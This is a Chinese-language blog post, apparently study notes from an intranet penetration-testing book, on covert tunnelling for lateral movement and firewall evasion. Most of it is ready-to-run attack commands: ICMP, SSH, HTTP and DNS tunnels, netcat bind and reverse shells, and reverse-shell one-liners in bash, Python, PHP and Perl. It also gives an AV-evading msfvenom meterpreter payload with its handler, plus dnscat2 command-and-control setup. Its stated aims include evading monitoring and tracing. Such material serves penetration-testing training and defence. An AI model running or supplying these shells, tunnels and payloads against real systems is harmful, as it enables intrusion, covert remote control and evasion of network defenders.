学习内网安全--隐蔽隧道通信技术

隐蔽通信隧道基础知识

经过前面信息收集的学习,知道了我是谁,我在哪,那么这章主要是我能去哪?


1.对进出口的流量是否连通的判断(判断内网的机器是否连通外网)

2.在非受信任的网络如何实现安全的传输

3.使用隐蔽的手段,逃避安全监测措施和溯源追踪


什么是隧道:

隧道是绕过防火墙端口屏蔽的一种通信方式,防火墙两端的数据包 ,通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地,进行还原。

image-20210514121321190

比如防火墙只开放了53端口,只允许DNS协议通过,这时可将数据封装在DNS协议里面,从内网发出去,在外面再进行解封装。即可实现隐蔽通信。


常用的隧道技术:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规的端口转发。
  • 应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

内网连通性判断


判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80、8080、443、53、110、123等。

1 ICMP协议

  • ping:命令:ping <IP地址>

2 TCP协议

  • netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>

    nc -zv 192.168.1.7 80

3 HTTP协议

  • curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。unix自带,windows需要下载。
  • 使用命令:curl < IP:端口号 >

4 DNS协议

  • nslookup(windows)
  • dig(linux)

5 代理服务器

有时候企业办公网利用代理服务器进行上网,判断方法:

  • 查看网络连接
  • 查看主机名是否有”proxy“的主机
  • 查看IE的代理

网络层隧道

1 IPv6隧道

2 ICMP隧道

只要可以ping通,就可以尝试建立ICMP隧道,将数据包封装在ICMP里面,

ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等

A.icmpsh

安装步骤:

git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭本地系统icmp的应答

接下来进入目录运行,输入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意这里192.168.1.9代表目标主机的公网IP


在目标主机输入:

icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 内网主机输入,可以连接成功,得到shell。

image-20210513112010816


B.pingtunnel

image-20210513141640556


上面的场景,192.168.1.0/24 代表外网,1.1.1.0/24表示内网,这里模拟的场景是黑客通过WEB获得了WEB服务器的权限。然后通过内网渗透获取数据库服务器的密码。 但是发现不能进行访问,只能ping通。这里用到ICMP隧道技术。


首先在外网的服务器VPS,和WEB服务器 安装一下icmp隧道工具。


下载地址:freshmeat.sourceforge.net/project/ptunnel

安装流程:

1.安装编译
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

3.yacc包错误
Sudo apt-get install –y byacc
./configure
make
sudo make install

运行ptunnel

服务器:
ptunnel -x shuteer

VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

参数说明:
-x 指定 icmp 隧道连接验证密码
-lp 指定要监听的本地 tcp 端口
-da 指定要转发到的机器的 ip 地址
-dp 指定要转发到的机器的 tcp 端口
-p 指定icmp隧道另一端机器的 ip 地址


所以这条语句的含义是 Web服务器 (192.168.1.11) 会把访问内网数据库服务器(1.1.1.10)的3389端口的数据包封装在ICMP隧道里,传给外网VPS服务器的1080端口,在访问攻击者的VPS服务器 192.168.1.9的 1080端口时,会收到相应的数据包。


防御措施:Wireshark 数据包分析,恶意流量分析。


传输层隧道技术


1 lcx端口转发

1.lcx端口转发

A.内网端口转发
目标机器:lcx.exe –slave 公网主机ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555

B.本地端口映射
lcx -tran 53 目标主机ip 3389

2 netcat

下载链接

LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

参数说明:

-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用。


Banner信息抓取

nc –nv 192.168.123.103 21
连接到远程主机
nc -nvv 192.168.11.135 80
端口扫描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
端口监听
Nc -l -p 9999
文件传输
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1


获取shell

shell连接有两种:正向shell和反向shell

正向shell,指的是客户端连接服务器,客户端想获取服务器的shell,称为正向shell。即控制方主动发起连接去连接被控制方。

反向shell,指的是客户端连接服务器,服务器想获取客户端的shell,称为反向shell。即被控制方主动去连接控制方。

一般从外网搞内网用的都是反向shell,而在内网里面用的是正向shell。


1.正向 shell

目标主机监听:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

本地主机:
Nc 192.168.1.11 4444

2.反向 shell
本地主机监听:
Nc -lvp 9999
目标主机:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows


目标主机没装netcat,如何反向shell

1.python反向shell

VPS上监听端口:
Nc -lvp 2222
目标主机上执行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.Bash反向shell

VPS上监听端口:
Nc -lvp 4444
目标主机上执行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

3.PHP反向shell

VPS上监听端口:
Nc -lvp 2222
目标主机上执行:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

4.Perl反向shell

VPS上监听端口:
Nc -lvp 4444
目标主机上执行:
perl -e ‘use Socket;\(i=”192.168.1.4″;\)p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’


内网代理

外网VPS服务器,通过内网WEB服务器,获取内网数据库服务器shell

image-20210513171612881

1.VPS监听端口
nc -lvp 3333
2.目标服务器执行
nc -lvp 3333 -e /bin/sh
3.边界服务器执行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333

边界服务器相当于做了代理,将目标数据库服务器的shell权限转移给外网VPS服务器。


应用层隧道技术--SSH隧道


什么是SSH?

SSH 端口转发能够提供两大功能:1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

常规操作

ssh root@192.168.1.1 –P 22

密码登录过程

1.远程主机收到用户的登录请求,把自己的公钥发给用户
2.用户使用该公钥,将登录密码加密后,发送给远程主机。
3.远程主机用自己的私钥,解密登录密码,如果密码正确,就用户登录。


本地端口转发

image-20210514105754271

原理:

VPS 攻击服务器,不能直接访问内网设备的数据库服务器,但是可以访问WEB服务器,所以可以通过WEB服务器作为跳板,通过WEB服务器访问数据库服务器,然后再将数据传出来。

配置:

Vi /etc/ssh/sshd_config SSH配置文件
AllowTcpForwarding yes 是否允许转发TCP协议 GatewayPorts yes 是否允许远程主机连接本地转发端口
PermitRootLogin yes 是否允许root登录
PasswordAuthentication yes 是否允许使用基于密码的认证
TCPKeepAlive yes 保持心跳,防止 ssh 断开

service ssh restart /etc/init.d/ssh restart


利用:

在VPS服务器执行以下命令:

格式: ssh –L 本地端口:目标主机:目标端口 jump主机

示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11 连接后需要输入WEB服务器的密码

netstat -tulnp | grep "2121" 查看本地端口是否连接

rdesktop 127.0.0.1:2121 访问本地系统的2121端口

常见建立ssh隧道所用到参数说明:
-C 压缩传输,加快传输速度
-f 将SSH转入后台执行,不占用当前的shell
-N 建立静默连接(建立了连接,但是看不到具体会话)
-g 允许远程主机连接到本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(socks代理)
-P 指定SSH端口

借助WEB服务器做跳板,下面是原理图:

图片1


msfvenom实战:

msfvenom是净荷生成和编码的组合,取代了 msfpayload 和 msfencode ,编码是为了免杀

msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

msfvenom 常规选项用途:-l 列出所有可用的载荷列表(payload), -l payloads
-p 选择一个payload,也可以使用自定义payload, 支持全平台
-f 生成文件格式, --help-formats,可查看支持的所有输出格式
-e 编码方式,-l encoders,可查看支持可使用编码器
-i 编码的次数
-a 系统架构,默认X86,指定目标平台:--platform xxx,--list platform
-b 在生成的Payload中避免出现的值,添加这个参数,msfvenom 将会自动寻找合适的编码器来编码 Payload
-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o 指定创建好的payload的存放位置
-h 帮助

image-20210514153555824

在VPS主机上:

1.设置一个反向Payload,VPS做好监听
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

生成rever.exe 程序,然后可以复制到需要反弹的内网主机上

2.运行MSF

set payload windows/meterpreter/reverse_tcp_rc4_dns

set lport 53

set lhost=1.1.1.155

set rc4password shuteer

set exitonsession false

show options

exploit -j


边界服务器上开启端口转发,见上面的配置


在目标主机

ssh –L 本地端口:目标主机:目标端口 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22


然后将生成的rever.exe 程序,复制到想要连接的内网主机上执行。(可以是DC,也可以是其他主机)


在VPS主机执行

sessions 查看连接

sessions -i 1 进入主机,可以执行shell命令

image-20210514163654409


远程端口转发

相比较于本地端口转发,跳转主机没有外网IP地址,但是可以访问外网。因此,VPS服务器不能访问它。

所以要用内网的主机,去访问外网VPS。下面的远程主机端口,是VPS的端口。


利用:

在web服务器端执行以下命令:

格式: ssh –R 远程主机端口:目标主机:目标端口 远端VPS主机

示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4


动态转发

建立一个SSH加密的SOCKS 代理通道,任何支持这个协议的程序都可以使用这个通道进行代理访问。比如:买一台海外服务器,通过这个可以进行访问。

在VPS 服务器执行命令:

ssh -D 7000 root@192.168.1.11


应用层隧道技术--HTTP/HTTPS协议

使用工具:reGeorg

下载地址:https://github.com/sensepost/reGeorg


reGeorg工具有PHP,JSP,ASPX等web脚本,将脚本文件上传到服务器中,使用kali本地访问远程服务器的tunnel.jsp脚本文件,返回后利用reGeorgSocksProxy.py脚本监听本地9999端口,即可建立一个通信链路

python reGeorgSocksProxy -u http://[服务器IP:端口]/tunnel.jsp -p 9999

建立隧道后,在使用ProxyChains之类的工具,访问目标的资源


应用层隧道技术--DNS隧道


原理:

DNS协议是一种请求/应答协议,可应用于应用层隧道技术。将数据封装在DNS查询响应数据包里面,进行通信。比较隐蔽,可绕过防火墙的拦截。

用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。


DNS隧道工具--Dnscat2

dnscat2:它使用DNS协议创建加密的C&C通道,通过预共享密钥身份验证。该工具客户端是由C编写,服务端是由Ruby编写的。它有两种模式:直连模式:客户端直接向指定的IP地址的DNS服务器发起解析请求。中继模式:DNS通过互联网的迭代查询,指向指定的DNS服务器。

在使用该工具的时候需要先部署域名解析,测试部署是否成功。安装服务端。

启动服务端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用预共享的密钥进行生成验证一面中间人攻击 -e:规定安全级别,open表示服务端允许客户端不进行加密 --no-cache表示禁止缓存,必须要添加该选项

如果是直连模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示监听本地的53端口,自定义连接密码是ms08067.com

在目标主机上安装客户端:测试是否连通于服务端:dnscat.exe --ping vpn.360bobao.com

客户端连接服务端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com

如果服务端使用的是直连模式:dnscat --dns server=,port=53,type=TXT, --secret=ms08067.com

当客户端和服务端连通之后就可以执行命令了

具体详情请参考内网安全攻防这本书


DNS隧道工具--iodine




总结


下面是关于各种隧道技术的总结与比较:

image-20210514210716144


上面就是内网隧道技术的所有知识,要想了解更多详情可阅读《内网安全攻防--渗透测试行动指南》这本书。
posted @ 2021-05-15 16:45  PsgQ  阅读(2695)  评论(0编辑  收藏  举报